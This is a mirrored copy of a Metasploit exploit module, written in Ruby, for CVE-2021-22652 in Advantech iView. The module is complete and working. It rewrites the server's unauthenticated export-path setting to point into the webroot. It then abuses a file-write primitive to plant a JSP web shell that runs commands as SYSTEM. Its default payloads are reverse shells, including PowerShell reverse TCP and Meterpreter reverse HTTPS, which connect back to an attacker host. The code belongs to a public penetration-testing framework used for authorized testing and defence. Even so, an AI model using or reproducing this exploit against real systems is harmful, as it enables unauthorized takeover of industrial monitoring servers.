CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/advantech_iview_unauth_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
prepend Msf::Exploit::Remote::AutoCheck
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::CmdStager
13
include Msf::Exploit::Powershell
14
include Msf::Exploit::FileDropper
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Advantech iView Unauthenticated Remote Code Execution',
21
'Description' => %q{
22
This module exploits an unauthenticated configuration change combined
23
with an unauthenticated file write primitive, leading to an arbitrary
24
file write that allows for remote code execution as the user running
25
iView, which is typically NT AUTHORITY\SYSTEM.
26
27
This issue was demonstrated in the vulnerable version 5.7.02.5992 and
28
fixed in version 5.7.03.6112.
29
},
30
'Author' => [
31
'wvu', # Discovery and exploit
32
'Spencer McIntyre' # Check, docs, and testing
33
],
34
'References' => [
35
['CVE', '2021-22652'],
36
['URL', 'https://www.rapid7.com/blog/post/2021/02/11/cve-2021-22652-advantech-iview-missing-authentication-rce-fixed/'],
37
['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-040-02']
38
],
39
'DisclosureDate' => '2021-02-09', # ICS-CERT advisory
40
'License' => MSF_LICENSE,
41
'Platform' => 'win',
42
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
43
'Privileged' => true,
44
'Targets' => [
45
[
46
'Windows Command',
47
{
48
'Arch' => ARCH_CMD,
49
'Type' => :win_cmd,
50
'DefaultOptions' => {
51
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
52
}
53
}
54
],
55
[
56
'Windows Dropper',
57
{
58
'Arch' => [ARCH_X86, ARCH_X64],
59
'Type' => :win_dropper,
60
'DefaultOptions' => {
61
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
62
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
63
}
64
}
65
],
66
[
67
'PowerShell Stager',
68
{
69
'Arch' => [ARCH_X86, ARCH_X64],
70
'Type' => :psh_stager,
71
'DefaultOptions' => {
72
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
73
}
74
}
75
]
76
],
77
'DefaultTarget' => 2,
78
'Notes' => {
79
'Stability' => [CRASH_SAFE],
80
'Reliability' => [REPEATABLE_SESSION],
81
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
82
}
83
)
84
)
85
86
register_options([
87
Opt::RPORT(8080),
88
OptString.new('TARGETURI', [true, 'Application path', '/iView3'])
89
])
90
end
91
92
def check
93
res = send_request_cgi(
94
'method' => 'POST',
95
'uri' => normalize_uri(target_uri.path, 'MenuServlet'),
96
'vars_post' => {
97
'page_action_type' => 'getMenuFragment',
98
'page' => 'version.frag'
99
}
100
)
101
return CheckCode::Unknown unless res&.code == 200
102
103
version = res.get_html_document.xpath('string(//input[starts-with(@value, "Version")]/@value)')
104
return CheckCode::Unknown unless version =~ /Version (\d+\.\d+) \(Build ([\d.]+)\)/
105
106
version = "#{Regexp.last_match(1)}.#{Regexp.last_match(2)}"
107
vprint_status("Identified the version as #{version}")
108
return CheckCode::Safe if Rex::Version.new(version) >= Rex::Version.new('5.7.03.6112')
109
110
CheckCode::Appears
111
end
112
113
def exploit
114
config = retrieve_config
115
updated = update_config(config)
116
write_jsp_stub
117
118
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
119
120
case target['Type']
121
when :win_cmd
122
execute_command(payload.encoded)
123
when :win_dropper
124
execute_cmdstager
125
when :psh_stager
126
execute_command(cmd_psh_payload(
127
payload.encoded,
128
payload.arch.first,
129
remove_comspec: true
130
))
131
end
132
ensure
133
restore_config(config) if config && updated
134
end
135
136
def retrieve_config
137
print_status('Retrieving config')
138
139
res = send_request_cgi(
140
'method' => 'POST',
141
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
142
'vars_post' => {
143
'page_action_type' => 'retrieveSystemSettings'
144
}
145
)
146
147
unless res && res.code == 200 && (config = res.get_json_document.first)
148
fail_with(Failure::NotFound, 'Failed to retrieve config')
149
end
150
151
print_good('Successfully retrieved config')
152
vprint_line(JSON.pretty_generate(config))
153
154
config
155
end
156
157
def update_config(config)
158
print_status('Updating config')
159
160
config = config.dup
161
config['EXPORTPATH'] = 'webapps\\iView3\\'
162
163
res = send_request_cgi(
164
'method' => 'POST',
165
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
166
'vars_post' => {
167
'page_action_type' => 'updateSystemSettings',
168
'json_obj' => config.to_json
169
}
170
)
171
172
unless res && res.code == 200 && (config = res.get_json_document.first)
173
fail_with(Failure::NotFound, 'Failed to retrieve updated config')
174
end
175
176
unless config['EXPORTPATH'] == 'webapps\\iView3\\'
177
fail_with(Failure::NotVulnerable, 'Failed to update config')
178
end
179
180
print_good('Successfully updated config')
181
vprint_line(JSON.pretty_generate(config))
182
183
true
184
end
185
186
def write_jsp_stub
187
print_status('Writing JSP stub')
188
189
res = send_request_cgi(
190
'method' => 'POST',
191
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
192
'vars_post' => {
193
'page_action_type' => 'exportInventoryTable',
194
'col_list' => "#{jsp_stub}-NULL",
195
'sortname' => 'NULL',
196
'sortorder' => '',
197
'filename' => jsp_filename
198
}
199
)
200
201
unless res && res.code == 200
202
fail_with(Failure::NotVulnerable, 'Failed to write JSP stub')
203
end
204
205
register_file_for_cleanup("webapps\\iView3\\#{jsp_filename}")
206
207
print_good('Successfully wrote JSP stub')
208
end
209
210
def execute_command(cmd, _opts = {})
211
cmd.prepend('cmd.exe /c ')
212
213
print_status("Executing command: #{cmd}")
214
215
res = send_request_cgi(
216
'method' => 'POST',
217
'uri' => normalize_uri(target_uri.path, jsp_filename),
218
'vars_post' => {
219
jsp_param => cmd
220
}
221
)
222
223
unless res && res.code == 200
224
fail_with(Failure::PayloadFailed, 'Failed to execute command')
225
end
226
227
print_good('Successfully executed command')
228
end
229
230
def restore_config(config)
231
print_status('Restoring config')
232
233
res = send_request_cgi(
234
'method' => 'POST',
235
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
236
'vars_post' => {
237
'page_action_type' => 'updateSystemSettings',
238
'json_obj' => config.to_json
239
}
240
)
241
242
unless res && res.code == 200 && (config = res.get_json_document.first)
243
print_error('Failed to retrieve restored config')
244
return
245
end
246
247
if config['EXPORTPATH'] == 'webapps\\iView3\\'
248
print_warning('Failed to restore config')
249
return
250
end
251
252
print_good('Successfully restored config')
253
vprint_line(JSON.pretty_generate(config))
254
end
255
256
def jsp_stub
257
%(<% Runtime.getRuntime().exec(request.getParameter("#{jsp_param}")); %>)
258
end
259
260
def jsp_param
261
@jsp_param ||= rand_text_alphanumeric(8..42)
262
end
263
264
def jsp_filename
265
@jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"
266
end
267
268
end
269
270